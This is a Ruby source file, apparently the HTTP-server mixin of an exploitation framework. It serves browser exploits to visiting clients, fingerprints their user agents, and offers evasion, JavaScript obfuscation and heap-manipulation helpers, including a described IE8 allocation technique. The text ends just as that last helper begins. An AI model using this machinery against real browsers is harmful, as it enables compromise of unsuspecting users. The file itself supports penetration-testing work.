1245 lines
38 KiB
Ruby
1245 lines
38 KiB
Ruby
# -*- coding: binary -*-
|
||
require 'rex/service_manager'
|
||
require 'rex/exploitation/obfuscatejs'
|
||
require 'rex/exploitation/encryptjs'
|
||
require 'rex/exploitation/heaplib'
|
||
|
||
module Msf
|
||
|
||
###
|
||
#
|
||
# This module provides methods for exploiting an HTTP client by acting
|
||
# as an HTTP server.
|
||
#
|
||
###
|
||
module Exploit::Remote::HttpServer
|
||
|
||
include Msf::Exploit::Remote::TcpServer
|
||
include Msf::Auxiliary::Report
|
||
|
||
def initialize(info = {})
|
||
super
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]),
|
||
], Exploit::Remote::HttpServer
|
||
)
|
||
|
||
register_evasion_options(
|
||
[
|
||
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
|
||
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
|
||
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
|
||
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
|
||
OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache'])
|
||
], Exploit::Remote::HttpServer
|
||
)
|
||
|
||
# Used to keep track of resources added to the service manager by
|
||
# this module. see #add_resource and #cleanup
|
||
@my_resources = []
|
||
@service_path = nil
|
||
end
|
||
|
||
#
|
||
# By default, all HTTP servers are not subject to automatic exploitation
|
||
#
|
||
def autofilter
|
||
false
|
||
end
|
||
|
||
#
|
||
# Thread-local client accessor
|
||
#
|
||
def cli
|
||
Thread.current[:cli]
|
||
end
|
||
|
||
#
|
||
# Thread-local client accessor
|
||
#
|
||
def cli=(cli)
|
||
Thread.current[:cli] = cli
|
||
end
|
||
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_line(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_status(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_error(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_debug(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
#
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_warning(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_line(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_status(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_error(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_debug(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_warning(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
|
||
|
||
#
|
||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||
# exception is only raised if the DisableGzip advanced option has not been
|
||
# set.
|
||
#
|
||
def use_zlib
|
||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
|
||
end
|
||
end
|
||
|
||
#
|
||
# This method gives a derived class the opportunity to ensure that all
|
||
# dependencies are present before initializing the service.
|
||
#
|
||
# By default, all HTTP server mixins will try to use zlib.
|
||
#
|
||
def check_dependencies
|
||
use_zlib
|
||
end
|
||
|
||
##
|
||
# :category: Exploit::Remote::TcpServer overrides
|
||
#
|
||
# This mixin starts the HTTP server listener. This routine takes a few
|
||
# different hash parameters:
|
||
#
|
||
# ServerHost => Override the server host to listen on (default to SRVHOST).
|
||
# ServerPort => Override the server port to listen on (default to SRVPORT).
|
||
# Uri => The URI to handle and the associated procedure to call.
|
||
#
|
||
def start_service(opts = {})
|
||
|
||
check_dependencies
|
||
|
||
comm = datastore['ListenerComm']
|
||
if (comm.to_s == "local")
|
||
comm = ::Rex::Socket::Comm::Local
|
||
else
|
||
comm = nil
|
||
end
|
||
|
||
# Default the server host and port to what is required by the mixin.
|
||
opts = {
|
||
'ServerHost' => datastore['SRVHOST'],
|
||
'ServerPort' => datastore['SRVPORT'],
|
||
'Comm' => comm
|
||
}.update(opts)
|
||
|
||
# Start a new HTTP server service.
|
||
self.service = Rex::ServiceManager.start(
|
||
Rex::Proto::Http::Server,
|
||
opts['ServerPort'].to_i,
|
||
opts['ServerHost'],
|
||
datastore['SSL'],
|
||
{
|
||
'Msf' => framework,
|
||
'MsfExploit' => self,
|
||
},
|
||
opts['Comm'],
|
||
datastore['SSLCert']
|
||
)
|
||
|
||
self.service.server_name = datastore['HTTP::server_name']
|
||
|
||
# Default the procedure of the URI to on_request_uri if one isn't
|
||
# provided.
|
||
uopts = {
|
||
'Proc' => Proc.new { |cli, req|
|
||
self.cli = cli
|
||
( self.respond_to?(:filter_request_uri) &&
|
||
filter_request_uri(cli, req)
|
||
) ? nil : on_request_uri(cli, req)
|
||
},
|
||
'Path' => resource_uri
|
||
}.update(opts['Uri'] || {})
|
||
|
||
proto = (datastore["SSL"] ? "https" : "http")
|
||
|
||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||
|
||
if (opts['ServerHost'] == '0.0.0.0')
|
||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||
end
|
||
|
||
add_resource(uopts)
|
||
end
|
||
|
||
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
|
||
# specified by the user in URIPATH.
|
||
#
|
||
# @note This MUST be called from {#primer} so that the service has been set
|
||
# up but we have not yet entered the listen/accept loop.
|
||
#
|
||
# @param uri [String] The resource URI that should be handled by
|
||
# {#on_request_uri}.
|
||
# @return [void]
|
||
def hardcoded_uripath(uri)
|
||
proc = Proc.new do |cli, req|
|
||
on_request_uri(cli, req)
|
||
end
|
||
|
||
vprint_status("Adding hardcoded uri #{uri}")
|
||
begin
|
||
add_resource({'Path' => uri, 'Proc' => proc})
|
||
rescue RuntimeError => e
|
||
print_error("This module requires a hardcoded uri at #{uri}. Can't run while other modules are using it.")
|
||
raise e
|
||
end
|
||
end
|
||
|
||
# Take care of removing any resources that we created
|
||
def cleanup
|
||
# Must dup here because remove_resource modifies @my_resources
|
||
@my_resources.dup.each do |resource|
|
||
remove_resource(resource)
|
||
end
|
||
|
||
super
|
||
end
|
||
|
||
#
|
||
# Return a Hash containing a best guess at the actual browser and operating
|
||
# system versions, based on the User-Agent header.
|
||
#
|
||
# Keys in the returned hash are similar to those expected of
|
||
# Report#report_client, and Msf::DBManager#report_host namely:
|
||
# +:ua_name+:: a brief identifier for the client, e.g. "Firefox"
|
||
# +:ua_ver+:: the version number of the client, e.g. "3.0.11"
|
||
# +:os_name+:: one of the Msf::OperatingSystems constants
|
||
# +:os_flavor+:: something like "XP" or "Gentoo"
|
||
# +:os_lang+:: something like "English", "French", or "en-US"
|
||
# +:arch+:: one of the ARCH_* constants
|
||
#
|
||
# Unknown values may be nil.
|
||
#
|
||
def fingerprint_user_agent(ua_str)
|
||
fp = { :ua_string => ua_str }
|
||
|
||
# always check for IE last because everybody tries to
|
||
# look like IE
|
||
case (ua_str.downcase)
|
||
# Chrome tries to look like Safari, so check it first
|
||
when /chrome\/(\d+(:?\.\d+)*)/
|
||
# Matches, e.g.:
|
||
# Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
|
||
fp[:ua_name] = HttpClients::CHROME
|
||
fp[:ua_ver] = $1
|
||
when /version\/(\d+(:?\.\d+)*)\s*safari/
|
||
fp[:ua_name] = HttpClients::SAFARI
|
||
fp[:ua_ver] = $1
|
||
when /firefox\/((:?[0-9]+\.)+[0-9]+)/
|
||
fp[:ua_name] = HttpClients::FF
|
||
fp[:ua_ver] = $1
|
||
when /opera\/(\d+(:?\.\d+)*)/
|
||
fp[:ua_name] = HttpClients::OPERA
|
||
fp[:ua_ver] = $1
|
||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
|
||
fp[:ua_name] = HttpClients::IE
|
||
fp[:ua_ver] = $1
|
||
else
|
||
fp[:ua_name] = HttpClients::UNKNOWN
|
||
end
|
||
case (ua_str.downcase)
|
||
when /(en-us|en-gb)/
|
||
fp[:os_lang] = $1
|
||
end
|
||
case (ua_str.downcase)
|
||
when /windows/
|
||
fp[:os_name] = OperatingSystems::WINDOWS
|
||
fp[:arch] = ARCH_X86
|
||
when /linux/
|
||
fp[:os_name] = OperatingSystems::LINUX
|
||
when /iphone/
|
||
fp[:os_name] = OperatingSystems::MAC_OSX
|
||
fp[:arch] = 'armle'
|
||
when /mac os x/
|
||
fp[:os_name] = OperatingSystems::MAC_OSX
|
||
else
|
||
fp[:os_name] = OperatingSystems::UNKNOWN
|
||
end
|
||
case (ua_str.downcase)
|
||
when /windows 95/
|
||
fp[:os_flavor] = '95'
|
||
when /windows 98/
|
||
fp[:os_flavor] = '98'
|
||
when /windows nt 4/
|
||
fp[:os_flavor] = 'NT'
|
||
when /windows nt 5.0/
|
||
fp[:os_flavor] = '2000'
|
||
when /windows nt 5.1/
|
||
fp[:os_flavor] = 'XP'
|
||
when /windows nt 5.2/
|
||
fp[:os_flavor] = '2003'
|
||
when /windows nt 6.0/
|
||
fp[:os_flavor] = 'Vista'
|
||
when /windows nt 6.1/
|
||
fp[:os_flavor] = '7'
|
||
when /windows nt 6.2/
|
||
fp[:os_flavor] = '8'
|
||
when /gentoo/
|
||
fp[:os_flavor] = 'Gentoo'
|
||
when /debian/
|
||
fp[:os_flavor] = 'Debian'
|
||
when /ubuntu/
|
||
fp[:os_flavor] = 'Ubuntu'
|
||
when /fedora/
|
||
fp[:os_flavor] = 'Fedora'
|
||
when /red hat|rhel/
|
||
fp[:os_flavor] = 'RHEL'
|
||
when /android/
|
||
fp[:os_flavor] = 'Android'
|
||
else
|
||
fp[:os_flavor] = ''
|
||
end
|
||
case (ua_str.downcase)
|
||
when /ppc/
|
||
fp[:arch] = ARCH_PPC
|
||
when /x64|x86_64/
|
||
fp[:arch] = ARCH_X86_64
|
||
when /i.86|wow64/
|
||
# WOW64 means "Windows on Windows64" and is present
|
||
# in the useragent of 32-bit IE running on 64-bit
|
||
# Windows
|
||
fp[:arch] = ARCH_X86
|
||
when /android|iphone|ipod|ipad/
|
||
fp[:arch] = ARCH_ARMLE
|
||
else
|
||
fp[:arch] = ARCH_X86
|
||
end
|
||
|
||
fp
|
||
end
|
||
|
||
#
|
||
# Store the results of server-side User-Agent fingerprinting in the DB.
|
||
#
|
||
# Returns a Hash containing host and client information.
|
||
#
|
||
def report_user_agent(address, request, client_opts={})
|
||
fp = fingerprint_user_agent(request["User-Agent"])
|
||
host = {
|
||
:address => address,
|
||
:host => address,
|
||
}
|
||
host[:os_name] = fp[:os_name] if fp[:os_name]
|
||
host[:os_flavor] = fp[:os_flavor] if fp[:os_flavor]
|
||
host[:arch] = fp[:arch] if fp[:arch]
|
||
host[:os_lang] = fp[:os_lang] if fp[:os_lang]
|
||
report_host(host)
|
||
client = {
|
||
:host => address,
|
||
:ua_string => request['User-Agent'],
|
||
}
|
||
client[:ua_name] = fp[:ua_name] if fp[:ua_name]
|
||
client[:ua_ver] = fp[:ua_ver] if fp[:ua_ver]
|
||
client.merge!(client_opts) if client_opts
|
||
report_client(client)
|
||
report_note(
|
||
:host => address,
|
||
:type => 'http.request',
|
||
:data => "#{address}: #{request.method} #{request.resource} #{client[:os_name]} #{client[:ua_name]} #{client[:ua_ver]}",
|
||
:update => :unique_data
|
||
)
|
||
return host.merge(client)
|
||
end
|
||
|
||
#
|
||
# Adds a URI resource using the supplied hash parameters.
|
||
#
|
||
# Path => The path to associate the procedure with.
|
||
# Proc => The procedure to call when the URI is requested.
|
||
# LongCall => Indicates that the request is a long call.
|
||
#
|
||
# NOTE: Calling #add_resource will change the results of subsequent calls
|
||
# to #get_resource!
|
||
#
|
||
# @return (see Rex::Service#add_resource)
|
||
def add_resource(opts)
|
||
@service_path = opts['Path']
|
||
res = service.add_resource(opts['Path'], opts)
|
||
|
||
# This has to go *after* the call to service.add_resource in case
|
||
# the service manager doesn't like it for some reason and raises.
|
||
@my_resources.push(opts['Path'])
|
||
|
||
res
|
||
end
|
||
|
||
#
|
||
# Returns the last-used resource path
|
||
#
|
||
def get_resource
|
||
# We don't want modules modifying their service_path inadvertantly, so
|
||
# give them a dup. Can be nil during module setup.
|
||
@service_path ? @service_path.dup : nil
|
||
end
|
||
|
||
#
|
||
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
|
||
#
|
||
# The address portion should be something a client would be able to route,
|
||
# but see {#srvhost_addr} for caveats.
|
||
#
|
||
def get_uri(cli=self.cli)
|
||
ssl = !!(datastore["SSL"])
|
||
proto = (ssl ? "https://" : "http://")
|
||
if (cli and cli.peerhost)
|
||
host = Rex::Socket.source_address(cli.peerhost)
|
||
else
|
||
host = srvhost_addr
|
||
end
|
||
|
||
if Rex::Socket.is_ipv6?(host)
|
||
host = "[#{host}]"
|
||
end
|
||
|
||
if (ssl and datastore["SRVPORT"] == 443)
|
||
port = ''
|
||
elsif (!ssl and datastore["SRVPORT"] == 80)
|
||
port = ''
|
||
else
|
||
port = ":" + datastore["SRVPORT"].to_s
|
||
end
|
||
|
||
uri = proto + host + port + get_resource
|
||
|
||
uri
|
||
end
|
||
|
||
#
|
||
# An address to which the client can route.
|
||
#
|
||
# If available, return LHOST which should be the right thing since it
|
||
# already has to be an address the client can route to for the payload to
|
||
# work. However, LHOST will only be available if we're using a reverse_*
|
||
# payload, so if we don't have it, try to use the client's peerhost
|
||
# address. Failing that, fall back to the addr with the default gateway.
|
||
# All of this will be for naught in the case of a user behind NAT using a
|
||
# bind payload but there's nothing we can do about it.
|
||
#
|
||
# NOTE: The address will be *incorrect* in the following two situations:
|
||
# 1. LHOST is pointed at a multi/handler on some other box.
|
||
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||
# using a bind payload. In that case, we don't have an LHOST and
|
||
# the source address will be internal.
|
||
#
|
||
# This can potentially be dealt with in a module by using the Host header
|
||
# from a request if such a header exists.
|
||
#
|
||
# @return [String]
|
||
def srvhost_addr
|
||
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
|
||
host = datastore["LHOST"]
|
||
else
|
||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||
if (respond_to?(:sock) and sock and sock.peerhost)
|
||
# Then this is a Passive-Aggressive module. It has a socket
|
||
# connected to the remote server from which we can deduce the
|
||
# appropriate source address.
|
||
host = Rex::Socket.source_address(sock.peerhost)
|
||
else
|
||
# Otherwise, this module is only a server, not a client, *and*
|
||
# the payload does not have an LHOST option. This can happen,
|
||
# for example, with a browser exploit using a download-exec
|
||
# payload. In that case, just use the address of the interface
|
||
# with the default gateway and hope for the best.
|
||
host = Rex::Socket.source_address
|
||
end
|
||
else
|
||
host = datastore['SRVHOST']
|
||
end
|
||
end
|
||
|
||
host
|
||
end
|
||
|
||
#
|
||
# Removes a URI resource.
|
||
#
|
||
def remove_resource(name)
|
||
# Guard against removing resources added by other modules
|
||
if @my_resources.include?(name)
|
||
@my_resources.delete(name)
|
||
service.remove_resource(name)
|
||
end
|
||
end
|
||
|
||
#
|
||
# Closes a client connection.
|
||
#
|
||
def close_client(cli)
|
||
service.close_client(cli)
|
||
end
|
||
|
||
#
|
||
# Creates an HTTP response packet.
|
||
#
|
||
def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
|
||
res = Rex::Proto::Http::Response.new(code, message, proto);
|
||
res['Content-Type'] = 'text/html'
|
||
res
|
||
end
|
||
|
||
#
|
||
# Transmits a response to the supplied client, default content-type is text/html
|
||
#
|
||
# Payload evasions are implemented here!
|
||
#
|
||
def send_response(cli, body, headers = {})
|
||
response = create_response
|
||
response['Content-Type'] = 'text/html'
|
||
response.body = body.to_s.unpack("C*").pack("C*")
|
||
|
||
if (datastore['HTTP::compression'])
|
||
self.use_zlib # make sure...
|
||
response.compress = datastore['HTTP::compression']
|
||
end
|
||
|
||
if (datastore['HTTP::chunked'] == true)
|
||
response.auto_cl = false
|
||
response.transfer_chunked = true
|
||
end
|
||
|
||
if (datastore['HTTP::header_folding'] == true)
|
||
response.headers.fold = 1
|
||
end
|
||
|
||
if (datastore['HTTP::junk_headers'] == true)
|
||
response.headers.junk_headers = 1
|
||
end
|
||
|
||
headers.each_pair { |k,v| response[k] = v }
|
||
|
||
cli.send_response(response)
|
||
end
|
||
|
||
#
|
||
# Sends a 302 redirect to the client
|
||
#
|
||
def send_redirect(cli, location='/', body='', headers = {})
|
||
response = create_response(302, 'Moved')
|
||
response['Content-Type'] = 'text/html'
|
||
response['Location'] = location
|
||
response.body = body.to_s.unpack("C*").pack("C*")
|
||
headers.each_pair { |k,v| response[k] = v }
|
||
|
||
cli.send_response(response)
|
||
end
|
||
|
||
|
||
#
|
||
# Sends a 302 redirect relative to our base path
|
||
#
|
||
def send_local_redirect(cli, location)
|
||
send_redirect(cli, get_resource + location)
|
||
end
|
||
|
||
|
||
#
|
||
# Sends a 404
|
||
#
|
||
def send_not_found(cli)
|
||
resp_404 = create_response(404, 'Not Found')
|
||
resp_404.body = %Q{\
|
||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||
<html><head>
|
||
<title>404 Not Found</title>
|
||
</head><body>
|
||
<h1>Not Found</h1>
|
||
<p>The requested URL was not found on this server.</p>
|
||
<hr>
|
||
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
||
</body></html>
|
||
}
|
||
|
||
cli.send_response(resp_404)
|
||
end
|
||
|
||
|
||
#
|
||
# Returns the configured (or random, if not configured) URI path
|
||
#
|
||
def resource_uri
|
||
path = datastore['URIPATH'] || random_uri
|
||
path = '/' + path if path !~ /^\//
|
||
return path
|
||
end
|
||
|
||
|
||
#
|
||
# Generates a random URI for use with making finger printing more
|
||
# challenging.
|
||
#
|
||
def random_uri
|
||
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
|
||
end
|
||
|
||
#
|
||
# Re-generates the payload, substituting the current RHOST and RPORT with
|
||
# the supplied client host and port.
|
||
#
|
||
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
|
||
pcode = nil
|
||
|
||
# If the payload fails to generate for some reason, send a 403.
|
||
if ((pcode = super(cli, arch, platform, target)) == nil)
|
||
print_error("Failed to generate payload, sending 403.")
|
||
|
||
cli.send_response(
|
||
create_response(403, 'Forbidden'))
|
||
|
||
return nil
|
||
end
|
||
pcode
|
||
end
|
||
|
||
##
|
||
#
|
||
# Override methods
|
||
#
|
||
##
|
||
|
||
#
|
||
# Called when a request is made to a single URI registered during the
|
||
# start_service. Subsequent registrations will not result in a call to
|
||
# on_request_uri.
|
||
#
|
||
# Modules should override this method.
|
||
#
|
||
def on_request_uri(cli, request)
|
||
end
|
||
|
||
end
|
||
|
||
###
|
||
#
|
||
# This module provides methods for exploiting an HTTP client by acting
|
||
# as an HTTP server.
|
||
#
|
||
###
|
||
module Exploit::Remote::HttpServer::HTML
|
||
|
||
include Msf::Exploit::Remote::HttpServer
|
||
|
||
protected
|
||
|
||
def initialize(info = {})
|
||
super
|
||
|
||
register_evasion_options(
|
||
[
|
||
# utf-8, utf-7 and utf-7-all are currently not supported by
|
||
# most browsers. as such, they are not added by default. The
|
||
# mixin supports encoding using them, however they are not
|
||
# listed in the Option.
|
||
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
|
||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||
], Exploit::Remote::HttpServer::HTML)
|
||
end
|
||
|
||
#
|
||
# Obfuscates symbols found within a javascript string.
|
||
#
|
||
# Returns an ObfuscateJS object
|
||
#
|
||
def obfuscate_js(javascript, opts)
|
||
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
|
||
js.obfuscate
|
||
return js
|
||
end
|
||
|
||
#
|
||
# Encrypts a given javascript string using the provided key.
|
||
#
|
||
# Returns a string containing the encrypted string and a loader
|
||
#
|
||
def encrypt_js(javascript, key)
|
||
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||
end
|
||
|
||
#
|
||
# Returns the heaplib javascript, including any custom javascript supplied
|
||
# by the caller.
|
||
#
|
||
def heaplib(custom_js = '', opts = {})
|
||
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
|
||
end
|
||
|
||
def js_base64
|
||
js = <<-ENDJS
|
||
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
|
||
// variable names changed to make obfuscation easier
|
||
var Base64 = {
|
||
// private property
|
||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||
|
||
// private method
|
||
_utf8_encode : function ( input ){
|
||
input = input.replace(/\\r\\n/g,"\\n");
|
||
var utftext = "";
|
||
var input_idx;
|
||
|
||
for (input_idx = 0; input_idx < input.length; input_idx++) {
|
||
var chr = input.charCodeAt(input_idx);
|
||
if (chr < 128) {
|
||
utftext += String.fromCharCode(chr);
|
||
}
|
||
else if((chr > 127) && (chr < 2048)) {
|
||
utftext += String.fromCharCode((chr >> 6) | 192);
|
||
utftext += String.fromCharCode((chr & 63) | 128);
|
||
} else {
|
||
utftext += String.fromCharCode((chr >> 12) | 224);
|
||
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
|
||
utftext += String.fromCharCode((chr & 63) | 128);
|
||
}
|
||
}
|
||
|
||
return utftext;
|
||
},
|
||
|
||
// public method for encoding
|
||
encode : function( input ) {
|
||
var output = "";
|
||
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
||
var input_idx = 0;
|
||
|
||
input = Base64._utf8_encode(input);
|
||
|
||
while (input_idx < input.length) {
|
||
chr1 = input.charCodeAt( input_idx++ );
|
||
chr2 = input.charCodeAt( input_idx++ );
|
||
chr3 = input.charCodeAt( input_idx++ );
|
||
|
||
enc1 = chr1 >> 2;
|
||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||
enc4 = chr3 & 63;
|
||
|
||
if (isNaN(chr2)) {
|
||
enc3 = enc4 = 64;
|
||
} else if (isNaN(chr3)) {
|
||
enc4 = 64;
|
||
}
|
||
output = output +
|
||
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
|
||
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
|
||
}
|
||
return output;
|
||
},
|
||
// public method for decoding
|
||
decode : function (input) {
|
||
var output = "";
|
||
var chr1, chr2, chr3;
|
||
var enc1, enc2, enc3, enc4;
|
||
var i = 0;
|
||
|
||
input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");
|
||
|
||
while (i < input.length) {
|
||
|
||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||
|
||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||
|
||
output = output + String.fromCharCode(chr1);
|
||
|
||
if (enc3 != 64) {
|
||
output = output + String.fromCharCode(chr2);
|
||
}
|
||
if (enc4 != 64) {
|
||
output = output + String.fromCharCode(chr3);
|
||
}
|
||
|
||
}
|
||
|
||
output = Base64._utf8_decode(output);
|
||
|
||
return output;
|
||
|
||
},
|
||
_utf8_decode : function (utftext) {
|
||
var string = "";
|
||
var input_idx = 0;
|
||
var chr1 = 0;
|
||
var chr2 = 0;
|
||
var chr3 = 0;
|
||
|
||
while ( input_idx < utftext.length ) {
|
||
|
||
chr1 = utftext.charCodeAt(input_idx);
|
||
|
||
if (chr1 < 128) {
|
||
string += String.fromCharCode(chr1);
|
||
input_idx++;
|
||
}
|
||
else if((chr1 > 191) && (chr1 < 224)) {
|
||
chr2 = utftext.charCodeAt(input_idx+1);
|
||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||
input_idx += 2;
|
||
} else {
|
||
chr2 = utftext.charCodeAt(input_idx+1);
|
||
chr3 = utftext.charCodeAt(input_idx+2);
|
||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||
input_idx += 3;
|
||
}
|
||
}
|
||
|
||
return string;
|
||
}
|
||
|
||
|
||
};
|
||
|
||
ENDJS
|
||
opts = {
|
||
'Symbols' => {
|
||
'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
|
||
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
|
||
'Methods' => %w{ _utf8_encode _utf8_decode encode decode }
|
||
}
|
||
}
|
||
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
||
|
||
return js
|
||
end
|
||
|
||
|
||
#
|
||
# Downloads data using ajax
|
||
#
|
||
# Supported arguments:
|
||
# method => Optional. HTTP Verb (eg. GET/POST)
|
||
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
|
||
# must use a relative path, otherwise you will be blocked by the browser.
|
||
# data => Optional. Data to pass to the server
|
||
#
|
||
# Example of using the ajax_download() function:
|
||
# For IE, your web server has to return this header to download binary data:
|
||
# "text/plain; charset=x-user-defined"
|
||
# <script>
|
||
# #{js_ajax_download}
|
||
#
|
||
# ajax_download({path:"/test.bin"});
|
||
# </script>
|
||
#
|
||
def js_ajax_download
|
||
%Q|function ajax_download(oArg) {
|
||
method = oArg.method;
|
||
path = oArg.path;
|
||
data = oArg.data;
|
||
|
||
if (method == undefined) { method = "GET"; }
|
||
if (method == path) { throw "Missing parameter 'path'"; }
|
||
if (data == undefined) { data = null; }
|
||
|
||
if (window.XMLHttpRequest) {
|
||
xmlHttp = new XMLHttpRequest();
|
||
}
|
||
else {
|
||
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
|
||
}
|
||
|
||
if (xmlHttp.overrideMimeType) {
|
||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||
}
|
||
|
||
xmlHttp.open(method, path, false);
|
||
xmlHttp.send(data);
|
||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||
return xmlHttp.responseText;
|
||
}
|
||
return null;
|
||
}
|
||
|
|
||
end
|
||
|
||
|
||
#
|
||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||
# pointers to strings that we control, and each string should reside in its own buffer.
|
||
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
|
||
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
|
||
# writing style, so make sure you have the following before using:
|
||
# * You must have the following at the beginning of your HTML file:
|
||
# <!doctype html>
|
||
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||
# * You must have the following in <meta>:
|
||
# <meta>
|
||
# <?IMPORT namespace="t" implementation="#default#time2">
|
||
# </meta>
|
||
#
|
||
# The "mstime_malloc" JavaScript function supports the following arguments:
|
||
# shellcode => The shellcode to place.
|
||
# offset => Optional. The pointer index that points to the shellcode.
|
||
# heapBlockSize => Object size.
|
||
# objId => The ID to your ANIMATECOLOR element.
|
||
#
|
||
# Example of using "js_mstime_malloc":
|
||
# <script>
|
||
# #{js_mstime_malloc}
|
||
#
|
||
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
|
||
# offset = 3;
|
||
# s = 0x58;
|
||
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
|
||
# </script>
|
||
#
|
||
def js_mstime_malloc
|
||
%Q|
|
||
